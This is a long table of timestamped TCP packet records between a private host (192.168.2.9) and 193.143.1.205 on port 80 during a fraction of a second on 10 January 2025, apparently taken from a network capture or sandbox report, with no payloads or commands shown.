Jan 10, 2025 23:32:02.721015930 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.721028090 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.721035957 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.721040010 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.721050024 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.721060038 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.721065998 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.721072912 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.721085072 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.721085072 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.721155882 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.721757889 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.721770048 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.721781969 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.721791029 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.721793890 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.721806049 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.721816063 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.721817017 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.721839905 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.721841097 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.721852064 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.721863985 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.721873999 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.721879005 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.721885920 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.721894979 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.721898079 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.721911907 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.721927881 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.721944094 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.722603083 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.722620010 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.722630978 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.722647905 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.722656012 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.722661018 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.722667933 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.722677946 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.722690105 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.722696066 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.722719908 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.722727060 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.722733021 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.722745895 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.722774029 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.722775936 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.722784996 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.722800970 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.723490000 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.723510981 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.723522902 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.723525047 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.723556042 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.723792076 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.723803043 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.731501102 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.731555939 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.731565952 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.731580973 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.731590986 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.731594086 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.731610060 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.731668949 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.731679916 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.731693029 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.731703043 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.731707096 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.731720924 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.731803894 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.731836081 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.731837034 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.772967100 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.775131941 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.775144100 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.775155067 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.775192976 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.775365114 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.775402069 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.775415897 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.775428057 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.775460958 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.775536060 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.775547028 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.775558949 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.775569916 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.775579929 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.775607109 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.775732040 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.775749922 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.775779963 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.806296110 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.806339979 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.806365967 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.806379080 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.806385994 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.806391001 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.806406021 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.806411028 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.806447983 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.806456089 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.806516886 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.806528091 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.806539059 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.806550026 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.806570053 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.806797028 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.806807041 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.806818008 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.806857109 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.807085991 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.807096958 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.807107925 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.807128906 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.807141066 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.836745977 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.836776018 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.836834908 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.836844921 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.836855888 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.836868048 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.836869955 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.836894989 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.836929083 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.836998940 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.837045908 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.837057114 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.837069035 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.837083101 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.837097883 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.837106943 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.837342978 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.837383986 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.837407112 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.837418079 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.837450981 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.837477922 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.837487936 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.837497950 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.837524891 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.837728024 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.837747097 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.837758064 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.837764978 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.837789059 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.837961912 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.837973118 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.837990999 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.838000059 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.838001013 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.838011980 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.838032961 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.838098049 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.838109016 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.838119030 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.838129997 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.838131905 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.838141918 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.838149071 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.838177919 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.838619947 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.838679075 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.838690042 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.838701010 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.838716984 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.838731050 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.838732004 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.838742018 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.838773012 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.838783979 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.838783979 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.838794947 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.838823080 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.838859081 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.838869095 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.838880062 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.838891983 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.838897943 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.838922024 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.839740992 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.839751005 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.839760065 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.839771032 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.839776993 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.839776993 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.839797020 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.839807987 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.839813948 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.839818954 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.839829922 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.839840889 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.839842081 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.839852095 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.839864969 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.839865923 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.839879036 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.839884996 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.839920998 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.840630054 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.840646029 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.840656996 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.840675116 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.840678930 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.840687037 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.840698004 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.840709925 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.840711117 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.840720892 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.840732098 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.840734005 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.840759993 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.840774059 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.840785027 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.840796947 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.840809107 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.840810061 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.840828896 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.841521025 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.841531992 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.841542959 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.841558933 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.841562033 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.841573954 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.841583014 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.841587067 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.841608047 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.841615915 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.841619968 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.841631889 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.841654062 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.841675997 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.841764927 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.841775894 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.841789961 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.841801882 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.841813087 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.841831923 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.842421055 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.842442989 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.842477083 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.842484951 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.842495918 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.842528105 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.842540979 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.842552900 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.842564106 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.842581987 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.845093012 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.848454952 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.862292051 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.862312078 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.862323046 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.862334967 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.862348080 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.862354994 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.862389088 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.862394094 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.862406015 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.862416029 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.862431049 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.862454891 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.867183924 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.895272970 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.895292044 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.895319939 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.895334005 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.895344019 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.895374060 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.895417929 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.895430088 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.895431995 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.895442009 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.895453930 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.895539999 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.895550966 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.895561934 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.895566940 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.895566940 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.895574093 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.895586014 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.895587921 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.895597935 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.895608902 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.895610094 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.895641088 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.895668983 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.895679951 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.895692110 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.895704985 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.895745039 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.923922062 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.923935890 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.923948050 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.923954010 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.923960924 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.923970938 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.923983097 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.924017906 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.924079895 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.924094915 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.924123049 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.924143076 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.924155951 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.924159050 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.924170017 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.924190044 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.924245119 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.924254894 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.924266100 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.924278021 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.924278975 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.924290895 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.924302101 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.924335003 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.924597979 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.924618006 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.924629927 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.924635887 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.924643993 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.924654961 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.924701929 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.924726009 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.924731970 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.924742937 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.924755096 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.924766064 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.924777985 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.924781084 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.924791098 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.924814939 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.924829960 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.924885035 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.924895048 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.924905062 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.924918890 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.924932003 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.924952984 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.925034046 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.925045013 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.925055027 CET	80	49706	193.143.1.205	192.168.2.9
